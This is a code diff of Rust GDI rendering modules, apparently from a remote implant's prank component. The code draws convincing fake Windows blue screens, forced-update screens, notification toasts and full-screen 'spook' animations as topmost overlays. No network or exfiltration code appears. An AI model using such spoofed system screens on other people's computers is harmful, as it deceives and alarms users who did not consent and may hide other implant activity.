||||
mode: "fullscreen".to_string(),
|
||||
topmost: true,
|
||||
})
|
||||
}
|
||||
|
||||
Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
|
||||
stopcode: stopcode.clone(),
|
||||
percent: *percent,
|
||||
}),
|
||||
|
||||
Overlay::Update { title, percent } => Ok(Content::Update {
|
||||
title: title.clone(),
|
||||
percent: *percent,
|
||||
}),
|
||||
|
||||
Overlay::Toast { title, body } => Ok(Content::Toast {
|
||||
title: title.clone(),
|
||||
body: body.clone(),
|
||||
}),
|
||||
|
||||
Overlay::Note { text, x, y, size } => Ok(Content::Note {
|
||||
text: text.clone(),
|
||||
x: *x as f32,
|
||||
y: *y as f32,
|
||||
size: *size as f32,
|
||||
}),
|
||||
|
||||
Overlay::Spook { mode } => Ok(Content::Spook {
|
||||
mode: mode.clone(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn wide(text: &str) -> Vec<u16> {
|
||||
text.encode_utf16().chain(std::iter::once(0)).collect()
|
||||
}
|
||||
|
||||
/// The handle of the running image, needed by both the class and every window.
|
||||
///
|
||||
/// Not cached: a raw handle is neither `Send` nor `Sync`, so caching one would
|
||||
/// mean wrapping a pointer in an atomic to save a call that is already a lookup
|
||||
/// in the loader's own cache.
|
||||
fn module_handle() -> api::HINSTANCE {
|
||||
unsafe { GetModuleHandleW(std::ptr::null()) }
|
||||
}
|
||||
656
implants/midas/src/gdi/paint.rs
Normal file
656
implants/midas/src/gdi/paint.rs
Normal file
@ -0,0 +1,656 @@
|
||||
//! The painters, in GDI instead of egui.
|
||||
//!
|
||||
//! A deliberate transcription of `gui/overlay.rs` rather than a shared
|
||||
//! abstraction. egui positions everything in floats against a `Rect` and blends
|
||||
//! through a `Painter`; this positions in integers against a `Canvas` and
|
||||
//! composites premultiplied bytes. The two agree on layout, colour and copy, and
|
||||
//! nothing else, so a shared drawing layer would be an indirection over two
|
||||
//! backends that do not have a common representation to abstract.
|
||||
|
||||
use super::canvas::{Canvas, Fit, Rect, Rgba};
|
||||
use super::text::{Style, TextRenderer};
|
||||
use crate::rng::Rng;
|
||||
|
||||
/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
|
||||
/// core for the lifetime of a `spook` overlay.
|
||||
pub const SPOOK_FRAME_MS: u32 = 50;
|
||||
|
||||
/// The largest image dimension kept after decoding.
|
||||
///
|
||||
/// Not a texture limit - there is no texture here - but a bound on how much is
|
||||
/// held in memory and how many destination pixels a fullscreen blit touches. A
|
||||
/// prank image larger than this is downscaled, and 4K is already absurd for one.
|
||||
const MAX_IMAGE_DIM: u32 = 4096;
|
||||
|
||||
/// Where and how big the overlay's window is.
|
||||
pub struct Geometry {
|
||||
pub width: i32,
|
||||
pub height: i32,
|
||||
/// Top-left in screen coordinates.
|
||||
pub x: i32,
|
||||
pub y: i32,
|
||||
/// Whether the window stays above everything else.
|
||||
pub topmost: bool,
|
||||
}
|
||||
|
||||
/// Decoded, ready-to-draw overlay state.
|
||||
pub enum Content {
|
||||
Image {
|
||||
pixels: Vec<u8>,
|
||||
width: i32,
|
||||
height: i32,
|
||||
mode: String,
|
||||
topmost: bool,
|
||||
},
|
||||
Bsod {
|
||||
stopcode: String,
|
||||
percent: i64,
|
||||
},
|
||||
Update {
|
||||
title: String,
|
||||
percent: i64,
|
||||
},
|
||||
Toast {
|
||||
title: String,
|
||||
body: String,
|
||||
},
|
||||
Note {
|
||||
text: String,
|
||||
x: f32,
|
||||
y: f32,
|
||||
size: f32,
|
||||
},
|
||||
Spook {
|
||||
mode: String,
|
||||
},
|
||||
}
|
||||
|
||||
impl Content {
|
||||
pub fn animated(&self) -> bool {
|
||||
matches!(self, Content::Spook { .. })
|
||||
}
|
||||
|
||||
/// Decides the window size and position.
|
||||
///
|
||||
/// `screen` is the full desktop in pixels, and `text` is needed because the
|
||||
/// notification and the desktop note are sized to their own content - the
|
||||
/// same measurement has to happen before the window exists and again while
|
||||
/// drawing into it, so it lives in one place.
|
||||
pub fn geometry(&self, screen: (i32, i32), text: &mut TextRenderer) -> Geometry {
|
||||
let (screen_w, screen_h) = (screen.0.max(1), screen.1.max(1));
|
||||
|
||||
match self {
|
||||
Content::Image {
|
||||
width,
|
||||
height,
|
||||
mode,
|
||||
topmost,
|
||||
..
|
||||
} => {
|
||||
let size = match mode.as_str() {
|
||||
"fullscreen" => (screen_w, screen_h),
|
||||
"center" => (*width, *height),
|
||||
// `fit` is the only remaining mode, so it is the default arm.
|
||||
_ => ((*width as f32 * 0.7) as i32, (*height as f32 * 0.7) as i32),
|
||||
};
|
||||
|
||||
let width = size.0.clamp(1, screen_w);
|
||||
let height = size.1.clamp(1, screen_h);
|
||||
|
||||
Geometry {
|
||||
width,
|
||||
height,
|
||||
x: (screen_w - width) / 2,
|
||||
y: (screen_h - height) / 2,
|
||||
topmost: *topmost || mode == "fullscreen",
|
||||
}
|
||||
}
|
||||
|
||||
Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => Geometry {
|
||||
width: screen_w,
|
||||
height: screen_h,
|
||||
x: 0,
|
||||
y: 0,
|
||||
topmost: true,
|
||||
},
|
||||
|
||||
Content::Toast { title, body } => {
|
||||
let lines = text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH);
|
||||
let title_w = text.measure(title, TOAST_TITLE);
|
||||
let body_w = lines
|
||||
.iter()
|
||||
.map(|line| text.measure(line, TOAST_BODY))
|
||||
.max()
|
||||
.unwrap_or(0);
|
||||
|
||||
let width = (title_w.max(body_w) + TOAST_PADDING * 2).clamp(64, screen_w);
|
||||
let height =
|
||||
(TOAST_HEADER + lines.len() as i32 * TOAST_LINE_HEIGHT + TOAST_PADDING)
|
||||
.clamp(64, 320)
|
||||
.min(screen_h);
|
||||
|
||||
Geometry {
|
||||
width,
|
||||
height,
|
||||
// Bottom-right, inset by a margin, which is where a real
|
||||
// notification appears.
|
||||
x: (screen_w - width - TOAST_MARGIN).max(0),
|
||||
y: (screen_h - height - TOAST_MARGIN).max(0),
|
||||
topmost: true,
|
||||
}
|
||||
}
|
||||
|
||||
Content::Note {
|
||||
text: body, x, y, size, ..
|
||||
} => {
|
||||
let style = Style::new(*size as i32);
|
||||
let wrap_at = (screen_w as f32 * 0.7) as i32;
|
||||
let lines = text.wrap(body, style, wrap_at);
|
||||
let widest = lines
|
||||
.iter()
|
||||
.map(|line| text.measure(line, style))
|
||||
.max()
|
||||
.unwrap_or(0);
|
||||
|
||||
let width = (widest + NOTE_PADDING * 2)
|
||||
.clamp(64, (screen_w as f32 * 0.95) as i32)
|
||||
.max(1);
|
||||
let height = ((lines.len() as f32 * size * 1.25) as i32 + NOTE_PADDING * 2)
|
||||
.max(*size as i32 * 2)
|
||||
.clamp(1, screen_h);
|
||||
let height = height.max(1);
|
||||
|
||||
Geometry {
|
||||
width,
|
||||
height,
|
||||
x: (*x as i32).clamp(0, (screen_w - width).max(0)),
|
||||
y: (*y as i32).clamp(0, (screen_h - height).max(0)),
|
||||
topmost: true,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Paints one frame.
|
||||
pub fn draw(
|
||||
&self,
|
||||
canvas: &mut Canvas,
|
||||
text: &mut TextRenderer,
|
||||
time: f64,
|
||||
seed: u64,
|
||||
) {
|
||||
match self {
|
||||
Content::Image {
|
||||
pixels,
|
||||
width,
|
||||
height,
|
||||
mode,
|
||||
..
|
||||
} => draw_image(canvas, pixels, *width, *height, mode),
|
||||
|
||||
Content::Bsod { stopcode, percent } => draw_bsod(canvas, text, stopcode, *percent),
|
||||
|
||||
Content::Update { title, percent } => draw_update(canvas, text, title, *percent),
|
||||
|
||||
Content::Toast { title, body } => draw_toast(canvas, text, title, body),
|
||||
|
||||
Content::Note { text: body, size, .. } => {
|
||||
draw_note(canvas, text, body, *size as i32)
|
||||
}
|
||||
|
||||
Content::Spook { mode } => draw_spook(canvas, text, mode, time, seed),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Decodes an image file into the raw RGBA the rasteriser draws.
|
||||
pub fn load_image(path: &str) -> Result<(Vec<u8>, i32, i32), String> {
|
||||
let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
|
||||
let decoded = image::load_from_memory(&bytes)
|
||||
.map_err(|e| format!("{path}: {e}"))?
|
||||
.to_rgba8();
|
||||
|
||||
let (width, height) = decoded.dimensions();
|
||||
if width == 0 || height == 0 {
|
||||
return Err(format!("{path}: image has no dimensions"));
|
||||
}
|
||||
|
||||
let decoded = if width > MAX_IMAGE_DIM || height > MAX_IMAGE_DIM {
|
||||
let scale = MAX_IMAGE_DIM as f32 / width.max(height) as f32;
|
||||
image::imageops::resize(
|
||||
&decoded,
|
||||
(width as f32 * scale).round() as u32,
|
||||
(height as f32 * scale).round() as u32,
|
||||
image::imageops::FilterType::Triangle,
|
||||
)
|
||||
} else {
|
||||
decoded
|
||||
};
|
||||
|
||||
let (width, height) = decoded.dimensions();
|
||||
Ok((decoded.into_raw(), width as i32, height as i32))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Per-overlay painters
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Toast metrics, shared between sizing the window and painting into it.
|
||||
const TOAST_PADDING: i32 = 14;
|
||||
const TOAST_TEXT_WIDTH: i32 = 320;
|
||||
const TOAST_HEADER: i32 = 40;
|
||||
const TOAST_LINE_HEIGHT: i32 = 18;
|
||||
const TOAST_MARGIN: i32 = 16;
|
||||
const TOAST_TITLE: Style = Style {
|
||||
height: 14,
|
||||
bold: true,
|
||||
monospace: false,
|
||||
};
|
||||
const TOAST_BODY: Style = Style {
|
||||
height: 13,
|
||||
bold: false,
|
||||
monospace: false,
|
||||
};
|
||||
|
||||
/// Desktop note metrics.
|
||||
const NOTE_PADDING: i32 = 12;
|
||||
|
||||
const WHITE: Rgba = Rgba::rgb(255, 255, 255);
|
||||
|
||||
fn draw_image(canvas: &mut Canvas, pixels: &[u8], width: i32, height: i32, mode: &str) {
|
||||
let (screen_w, screen_h) = (canvas.width, canvas.height);
|
||||
let target = Rect::new(0, 0, screen_w, screen_h);
|
||||
|
||||
match mode {
|
||||
"fullscreen" => {
|
||||
// `cover`: fill the viewport and let the overflow crop. More
|
||||
// dramatic than letterboxing, which is the point for a scare.
|
||||
canvas.blit(pixels, width, height, target, Fit::Cover, 1.0);
|
||||
}
|
||||
"center" => canvas.blit(pixels, width, height, target, Fit::Exact, 1.0),
|
||||
// `fit`: contain, and never upscale past 1:1, so a small image is not
|
||||
// blown up into a blurry mess.
|
||||
_ => {
|
||||
let scale = (screen_w as f32 / width as f32)
|
||||
.min(screen_h as f32 / height as f32)
|
||||
.min(1.0);
|
||||
let draw_w = (width as f32 * scale) as i32;
|
||||
let draw_h = (height as f32 * scale) as i32;
|
||||
|
||||
canvas.blit(
|
||||
pixels,
|
||||
width,
|
||||
height,
|
||||
Rect::new(
|
||||
(screen_w - draw_w) / 2,
|
||||
(screen_h - draw_h) / 2,
|
||||
draw_w,
|
||||
draw_h,
|
||||
),
|
||||
Fit::Exact,
|
||||
1.0,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_bsod(canvas: &mut Canvas, text: &mut TextRenderer, stopcode: &str, percent: i64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
let centre_x = w / 2;
|
||||
canvas.fill(Rgba::rgb(0, 0, 170));
|
||||
|
||||
// The frown, at roughly the height a real BSOD puts it.
|
||||
let frown = Style::new(((h as f32 * 0.15) as i32).min((w as f32 * 0.15) as i32))
|
||||
.monospace()
|
||||
.bold();
|
||||
text.draw_centred(canvas, ":(", centre_x, (h as f32 * 0.26) as i32 - h / 12, frown, WHITE);
|
||||
|
||||
let bar_w = (w as f32 * 0.26) as i32;
|
||||
let bar_h = 18;
|
||||
let bar_x = centre_x - bar_w / 2;
|
||||
let bar_y = (h as f32 * 0.52) as i32;
|
||||
|
||||
canvas.fill_rect(
|
||||
Rect::new(bar_x, bar_y, bar_w, bar_h),
|
||||
Rgba::with_alpha(255, 255, 255, 45),
|
||||
);
|
||||
canvas.fill_rect(
|
||||
Rect::new(bar_x, bar_y, bar_w * percent.clamp(0, 100) as i32 / 100, bar_h),
|
||||
WHITE,
|
||||
);
|
||||
|
||||
text.draw_centred(
|
||||
canvas,
|
||||
&format!("{percent}% complete"),
|
||||
centre_x,
|
||||
bar_y + bar_h + 22,
|
||||
Style::new(17),
|
||||
WHITE,
|
||||
);
|
||||
|
||||
let body = Style::new(((w as f32 * 0.014) as i32).clamp(12, 22));
|
||||
let pad = (w as f32 * 0.06) as i32;
|
||||
let left = pad;
|
||||
let right = w - pad;
|
||||
let bottom = h - pad;
|
||||
let line = ((body.height as f32 * 2.0) as i32).max(20);
|
||||
|
||||
// Stacked upwards from the bottom edge, matching the real layout.
|
||||
let lines: [&str; 3] = [
|
||||
"Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
|
||||
"For more information about this error and possible fixes, visit",
|
||||
"https://www.windows.com/werr",
|
||||
];
|
||||
|
||||
for (index, content) in lines.iter().enumerate() {
|
||||
text.draw(
|
||||
canvas,
|
||||
content,
|
||||
(left, bottom - (lines.len() as i32 - 1 - index as i32) * line - body.height),
|
||||
body,
|
||||
WHITE,
|
||||
);
|
||||
}
|
||||
|
||||
text.draw_right(canvas, "100% complete", right, bottom - body.height, body, WHITE);
|
||||
text.draw_right(
|
||||
canvas,
|
||||
&format!("Stop code: {stopcode}"),
|
||||
right,
|
||||
bottom - 2 * line - body.height,
|
||||
body,
|
||||
WHITE,
|
||||
);
|
||||
}
|
||||
|
||||
fn draw_update(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, percent: i64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
let centre_x = w / 2;
|
||||
|
||||
canvas.fill(Rgba::rgb(24, 32, 48));
|
||||
// A lighter band across the upper portion, which is enough to read as "this
|
||||
// is a system dialog" rather than a plain coloured screen.
|
||||
canvas.fill_rect(
|
||||
Rect::new(0, 0, w, (h as f32 * 0.4) as i32),
|
||||
Rgba::rgb(32, 48, 74),
|
||||
);
|
||||
|
||||
let title_style = Style::new(((w as f32 * 0.026) as i32).clamp(20, 48));
|
||||
text.draw_centred(
|
||||
canvas,
|
||||
title,
|
||||
centre_x,
|
||||
(h as f32 * 0.30) as i32 - title_style.height / 2,
|
||||
title_style,
|
||||
WHITE,
|
||||
);
|
||||
|
||||
let sub = Style::new(((w as f32 * 0.013) as i32).clamp(12, 22));
|
||||
text.draw_centred(
|
||||
canvas,
|
||||
"Please wait while your computer installs updates",
|
||||
centre_x,
|
||||
(h as f32 * 0.40) as i32 - sub.height / 2,
|
||||
sub,
|
||||
Rgba::with_alpha(255, 255, 255, 200),
|
||||
);
|
||||
|
||||
let bar_w = (w as f32 * 0.3) as i32;
|
||||
let bar_h = 8;
|
||||
let bar_x = centre_x - bar_w / 2;
|
||||
let bar_y = (h as f32 * 0.52) as i32;
|
||||
|
||||
canvas.fill_rect(
|
||||
Rect::new(bar_x, bar_y, bar_w, bar_h),
|
||||
Rgba::with_alpha(255, 255, 255, 40),
|
||||
);
|
||||
canvas.fill_rect(
|
||||
Rect::new(
|
||||
bar_x,
|
||||
bar_y,
|
||||
bar_w * percent.clamp(0, 100) as i32 / 100,
|
||||
bar_h,
|
||||
),
|
||||
Rgba::rgb(0, 120, 215),
|
||||
);
|
||||
|
||||
let small = Style::new(((w as f32 * 0.012) as i32).clamp(12, 20));
|
||||
text.draw_centred(
|
||||
canvas,
|
||||
&format!("{percent}% complete"),
|
||||
centre_x,
|
||||
bar_y + bar_h + 20,
|
||||
small,
|
||||
Rgba::with_alpha(255, 255, 255, 180),
|
||||
);
|
||||
text.draw_centred(
|
||||
canvas,
|
||||
"Do not turn off your computer",
|
||||
centre_x,
|
||||
h - (h as f32 * 0.12) as i32 - small.height / 2,
|
||||
small,
|
||||
Rgba::with_alpha(255, 255, 255, 150),
|
||||
);
|
||||
}
|
||||
|
||||
fn draw_toast(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, body: &str) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
let surface = Rect::new(0, 0, w, h);
|
||||
|
||||
canvas.fill_rect(surface, Rgba::rgb(43, 43, 43));
|
||||
|
||||
// A one-pixel border. Drawn as four thin rectangles because the rasteriser
|
||||
// has no stroked primitive, and rounding is not worth the approximation.
|
||||
let border = Rgba::with_alpha(255, 255, 255, 40);
|
||||
canvas.fill_rect(Rect::new(0, 0, w, 1), border);
|
||||
canvas.fill_rect(Rect::new(0, h - 1, w, 1), border);
|
||||
canvas.fill_rect(Rect::new(0, 0, 1, h), border);
|
||||
canvas.fill_rect(Rect::new(w - 1, 0, 1, h), border);
|
||||
|
||||
text.draw(
|
||||
canvas,
|
||||
title,
|
||||
(TOAST_PADDING, 12),
|
||||
TOAST_TITLE,
|
||||
Rgba::rgb(120, 180, 255),
|
||||
);
|
||||
|
||||
// The window was sized to the wrapped body in `geometry`, so this only
|
||||
// truncates if the two disagree, which they should not.
|
||||
let mut y = TOAST_HEADER;
|
||||
let max_lines = ((h - y - 8) / TOAST_LINE_HEIGHT).max(1) as usize;
|
||||
|
||||
for line in text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH).into_iter().take(max_lines) {
|
||||
text.draw(
|
||||
canvas,
|
||||
&line,
|
||||
(TOAST_PADDING, y),
|
||||
TOAST_BODY,
|
||||
Rgba::rgb(235, 235, 235),
|
||||
);
|
||||
y += TOAST_LINE_HEIGHT;
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_note(canvas: &mut Canvas, text_renderer: &mut TextRenderer, body: &str, size: i32) {
|
||||
let style = Style::new(size.max(1));
|
||||
let lines = text_renderer.wrap(body, style, canvas.width - NOTE_PADDING * 2);
|
||||
let step = ((size as f32 * 1.25) as i32).max(1);
|
||||
|
||||
// A transparent window over an arbitrary wallpaper, so a drop shadow is what
|
||||
// keeps the text legible.
|
||||
for (offset, colour) in [(2, Rgba::with_alpha(0, 0, 0, 190)), (0, Rgba::rgb(255, 236, 120))] {
|
||||
let mut y = NOTE_PADDING + offset;
|
||||
for line in &lines {
|
||||
text_renderer.draw(
|
||||
canvas,
|
||||
line,
|
||||
(NOTE_PADDING + offset, y),
|
||||
style,
|
||||
colour,
|
||||
);
|
||||
y += step;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_spook(
|
||||
canvas: &mut Canvas,
|
||||
text: &mut TextRenderer,
|
||||
mode: &str,
|
||||
time: f64,
|
||||
seed: u64,
|
||||
) {
|
||||
match mode {
|
||||
"matrix" => draw_matrix(canvas, text, time, seed),
|
||||
"scanline" => draw_scanline(canvas, time),
|
||||
"glitch" => draw_glitch(canvas, time, seed),
|
||||
// `static` is the default arm, and the only mode with no time input.
|
||||
_ => draw_static(canvas, time, seed),
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_static(canvas: &mut Canvas, time: f64, seed: u64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
canvas.fill(Rgba::rgb(8, 8, 8));
|
||||
|
||||
let frame = (time * 30.0) as u64;
|
||||
let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
|
||||
|
||||
// A couple of thousand rects reads as noise and stays cheap; one rect per
|
||||
// pixel would not.
|
||||
for _ in 0..2200 {
|
||||
let width = rng.range_i32(2, 12);
|
||||
let height = rng.range_i32(1, 4);
|
||||
let grey = rng.range_i32(20, 256) as u8;
|
||||
|
||||
canvas.fill_rect(
|
||||
Rect::new(
|
||||
rng.range_i32(0, w),
|
||||
rng.range_i32(0, h),
|
||||
width,
|
||||
height,
|
||||
),
|
||||
Rgba::rgb(grey, grey, grey),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_matrix(canvas: &mut Canvas, text: &mut TextRenderer, time: f64, seed: u64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
canvas.fill(Rgba::rgb(0, 8, 0));
|
||||
|
||||
// ASCII only, deliberately: the matrix rain reads as a terminal, and a
|
||||
// fixed-pitch face has no CJK coverage to draw with anyway.
|
||||
const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
|
||||
|
||||
let cell = 20;
|
||||
let columns = w.div_euclid(cell);
|
||||
let rows = h.div_euclid(cell);
|
||||
let tail = 14i64;
|
||||
let style = Style::new(17).monospace();
|
||||
|
||||
for column in 0..columns {
|
||||
// Per-column speed and phase derived from the column index, so the
|
||||
// animation is a pure function of time and needs no stored state.
|
||||
let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
|
||||
let speed = 6.0 + (column_seed % 9) as f64;
|
||||
let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
|
||||
|
||||
let span = rows as i64 + tail;
|
||||
let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
|
||||
|
||||
for offset in 0..tail {
|
||||
let row = head - offset;
|
||||
if row < 0 || row >= rows as i64 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
|
||||
let glyph = GLYPHS[index] as char;
|
||||
|
||||
// Brightest at the head, fading down the tail.
|
||||
let colour = if offset == 0 {
|
||||
Rgba::rgb(200, 255, 200)
|
||||
} else {
|
||||
Rgba::with_alpha(0, 210, 60, 255 - (offset * 235 / tail) as u8)
|
||||
};
|
||||
|
||||
text.draw(
|
||||
canvas,
|
||||
&glyph.to_string(),
|
||||
(column * cell, row as i32 * cell),
|
||||
style,
|
||||
colour,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_scanline(canvas: &mut Canvas, time: f64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
canvas.fill(Rgba::rgb(6, 10, 6));
|
||||
|
||||
let mut y = 0;
|
||||
while y < h {
|
||||
canvas.fill_rect(
|
||||
Rect::new(0, y, w, 1),
|
||||
Rgba::with_alpha(0, 0, 0, 140),
|
||||
);
|
||||
y += 3;
|
||||
}
|
||||
|
||||
// A brighter band sweeping down, which is what sells it as a display fault.
|
||||
let span = h as f64 + 200.0;
|
||||
let band_y = (time * 260.0 % span) as i32 - 100;
|
||||
|
||||
for offset in 0..3 {
|
||||
canvas.fill_rect(
|
||||
Rect::new(0, band_y + offset * 2, w, 1),
|
||||
Rgba::rgb(120, 255, 160),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_glitch(canvas: &mut Canvas, time: f64, seed: u64) {
|
||||
let (w, h) = (canvas.width, canvas.height);
|
||||
canvas.fill(Rgba::rgb(10, 0, 14));
|
||||
|
||||
let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
|
||||
|
||||
// Horizontal slices displaced sideways, the classic datamosh look.
|
||||
let slices = 40;
|
||||
let band = h / slices;
|
||||
|
||||
for index in 0..slices {
|
||||
let shift = if rng.f32() > 0.82 {
|
||||
rng.range_i32(-90, 90)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let hue = rng.f32();
|
||||
canvas.fill_rect(
|
||||
Rect::new(shift, index * band, w, band),
|
||||
Rgba::with_alpha(
|
||||
(hue * 255.0) as u8,
|
||||
((1.0 - hue) * 180.0) as u8,
|
||||
(rng.f32() * 200.0) as u8,
|
||||
90,
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
// A few solid bright bands on top.
|
||||
for _ in 0..6 {
|
||||
canvas.fill_rect(
|
||||
Rect::new(
|
||||
rng.range_i32(-60, 60),
|
||||
rng.range_i32(0, h),
|
||||
w,
|
||||
rng.range_i32(2, 14),
|
||||
),
|
||||
Rgba::with_alpha(255, 255, 255, rng.range_i32(40, 151) as u8),
|
||||
);
|
||||
}
|
||||
}
|
||||
422
implants/midas/src/gdi/text.rs
Normal file
422
implants/midas/src/gdi/text.rs
Normal file
@ -0,0 +1,422 @@
|
||||
//! Text rendering, and how it recovers an alpha channel from GDI.
|
||||
//!
|
||||
//! The overlays want the real system font, and GDI is the only way to get it.
|
||||
//! egui's bundled font is neither available in this backend nor desirable: a
|
||||
//! convincing fake system dialog has to look like it was drawn by the system.
|
||||
//!
|
||||
//! The problem is that GDI does not write the alpha channel of a 32-bit DIB. It
|
||||
//! blends the glyph against whatever is already in the device context, so text
|
||||
//! drawn straight onto the overlay would arrive as colour with a meaningless
|
||||
//! coverage value, and a `WS_EX_LAYERED` window would composite it wrongly.
|
||||
//!
|
||||
//! So text goes into a scratch DIB whose background is a sentinel colour no
|
||||
//! overlay uses, and the result is converted back into a glyph mask. GDI
|
||||
//! antialiases by mixing the text colour toward the background, so a pixel's
|
||||
//! distance from the sentinel *is* its coverage - the antialiasing is recovered
|
||||
//! exactly rather than thresholded to a hard edge.
|
||||
//!
|
||||
//! Grayscale antialiasing is requested rather than ClearType on purpose.
|
||||
//! ClearType renders each subpixel with a different colour, which would both
|
||||
//! destroy the coverage arithmetic above and leave coloured fringes once the
|
||||
//! glyph is composited somewhere other than an LCD.
|
||||
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
|
||||
use super::api::*;
|
||||
use super::canvas::{Canvas, Fit, Rect, Rgba};
|
||||
|
||||
/// Slack on every side of a run, so a negative side bearing or an antialiased
|
||||
/// overhang is not clipped out of the scratch surface.
|
||||
const PAD: i32 = 4;
|
||||
|
||||
/// A background colour no painter uses.
|
||||
///
|
||||
/// Magenta specifically: the overlays are white, grey and the accent blues, so
|
||||
/// the channel with the largest distance to the text colour is a strong one and
|
||||
/// the coverage division below is well conditioned.
|
||||
const SENTINEL: Rgba = Rgba::rgb(255, 0, 255);
|
||||
|
||||
/// The proportional face, used for anything meant to look like a system dialog.
|
||||
const UI_FACE: &str = "Segoe UI";
|
||||
/// The fixed-pitch face, used for the matrix rain and the blue screen's frown,
|
||||
/// where a uniform advance is the whole point.
|
||||
const MONO_FACE: &str = "Consolas";
|
||||
|
||||
/// How a run of text is set.
|
||||
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
|
||||
pub struct Style {
|
||||
/// Character cell height in pixels.
|
||||
pub height: i32,
|
||||
pub bold: bool,
|
||||
pub monospace: bool,
|
||||
}
|
||||
|
||||
impl Style {
|
||||
pub fn new(height: i32) -> Style {
|
||||
Style {
|
||||
height,
|
||||
bold: false,
|
||||
monospace: false,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn bold(mut self) -> Style {
|
||||
self.bold = true;
|
||||
self
|
||||
}
|
||||
|
||||
pub fn monospace(mut self) -> Style {
|
||||
self.monospace = true;
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
/// A TrueType screen font at a cell height, weight and family.
|
||||
struct Font {
|
||||
handle: HGDIOBJ,
|
||||
style: Style,
|
||||
}
|
||||
|
||||
impl Font {
|
||||
fn new(style: Style) -> Option<Font> {
|
||||
let face: Vec<u16> = std::ffi::OsStr::new(if style.monospace {
|
||||
MONO_FACE
|
||||
} else {
|
||||
UI_FACE
|
||||
})
|
||||
.encode_wide()
|
||||
.chain(std::iter::once(0))
|
||||
.collect();
|
||||
|
||||
let handle = unsafe {
|
||||
CreateFontW(
|
||||
// A negative height requests a character cell rather than an em
|
||||
// size, which is what a pixel-accurate layout wants.
|
||||
-style.height.max(1),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
if style.bold { FW_BOLD } else { FW_NORMAL },
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
DEFAULT_CHARSET,
|
||||
OUT_TT_PRECIS,
|
||||
CLIP_DEFAULT,
|
||||
ANTIALIASED_QUALITY,
|
||||
DEFAULT_PITCH | FF_DONTCARE,
|
||||
face.as_ptr(),
|
||||
)
|
||||
};
|
||||
|
||||
if handle.is_null() {
|
||||
None
|
||||
} else {
|
||||
Some(Font { handle, style })
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for Font {
|
||||
fn drop(&mut self) {
|
||||
if !self.handle.is_null() {
|
||||
unsafe { DeleteObject(self.handle) };
|
||||
self.handle = std::ptr::null_mut();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Renders runs of text into a glyph mask, and composites that mask.
|
||||
///
|
||||
/// One instance per overlay window. The scratch surface and the faces are cached
|
||||
/// and reused, because a `spook` overlay re-renders the same handful of strings
|
||||
/// twenty times a second and reallocating GDI objects per frame would be both
|
||||
/// slow and a leak risk.
|
||||
pub struct TextRenderer {
|
||||
scratch: Canvas,
|
||||
/// Faces keyed by `[monospace][bold]`, each cached at one height. Two
|
||||
/// families and two weights covers every painter here, and alternating
|
||||
/// between them at a fixed size is common enough that a single-slot cache
|
||||
/// would rebuild the face on most lines.
|
||||
fonts: [[Option<Font>; 2]; 2],
|
||||
/// Straight-RGBA glyph coverage at one pixel per source pixel.
|
||||
mask: Vec<u8>,
|
||||
mask_w: i32,
|
||||
mask_h: i32,
|
||||
}
|
||||
|
||||
impl TextRenderer {
|
||||
/// Allocates the scratch surface, or `None` if GDI refuses a bitmap at all.
|
||||
///
|
||||
/// There is no usable fallback for this: without a DIB there is no surface to
|
||||
/// render into, so the caller reports it as an overlay that could not open.
|
||||
pub fn new() -> Option<TextRenderer> {
|
||||
Some(TextRenderer {
|
||||
scratch: Canvas::new(64, 32)?,
|
||||
fonts: [[None, None], [None, None]],
|
||||
mask: Vec::new(),
|
||||
mask_w: 0,
|
||||
mask_h: 0,
|
||||
})
|
||||
}
|
||||
|
||||
/// Selects the face for this style, rebuilding it if the cached one is a
|
||||
/// different size.
|
||||
